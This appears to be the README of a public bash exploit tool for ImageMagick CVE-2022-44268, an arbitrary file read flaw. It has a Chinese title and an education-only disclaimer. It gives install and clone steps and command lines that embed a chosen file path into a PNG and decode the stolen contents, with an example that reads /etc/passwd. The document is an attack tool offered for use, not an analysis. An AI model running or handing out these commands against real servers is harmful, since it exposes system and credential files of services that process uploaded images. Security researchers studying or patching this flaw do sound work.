一个用于轻松利用 ImageMagick 任意文件读取漏洞 CVE-2022-44268 的 bash 脚本
Version: ImageMagick 6.9.11-60 Q16 x86_64 2021-01-25 https://imagemagick.org
Copyright: (C) 1999-2021 ImageMagick Studio LLC
License: https://imagemagick.org/script/license.php
Features: Cipher DPC Modules OpenMP(4.5)
Delegates (built-in): bzlib djvu fftw fontconfig freetype heic jbig jng jp2 jpeg lcms lqr ltdl lzma openexr pangocairo png tiff webp wmf x xml zlib
sudo apt-get install imagemagick exiftool pngcrush exiv2 -y
git clone https://github.com/atici/Exploit-for-ImageMagick-CVE-2022-44268.git
cd Exploit-for-ImageMagick-CVE-2022-44268
chmod 750 script.sh
./script.sh -p [Path to Read] [PNG Image] [Output[Optional, if not used defaults to pngout.png]]
./script.sh -d [PNG]
Examples
./script.sh -p /etc/passwd sample.png output.png
./script.sh -d pngout.png
Options
-h = Show help
-p = Add the exploit to a PNG image
-d = Extract and decode the read file
本仓库提供的所有代码仅用于教育/研究目的。任何与本仓库内容相关的行为和/或活动均由您自行负责。滥用本仓库中的代码可能导致相关人员受到刑事指控。若任何个人因滥用本仓库中的代码违反法律而受到刑事指控,作者概不负责。